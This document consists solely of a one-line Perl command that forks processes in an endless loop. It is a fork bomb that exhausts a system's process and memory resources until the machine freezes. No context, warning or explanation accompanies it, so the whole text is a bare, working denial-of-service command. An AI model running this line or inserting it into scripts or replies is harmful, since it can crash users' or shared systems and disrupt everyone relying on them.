perl -E 'say fork while 1'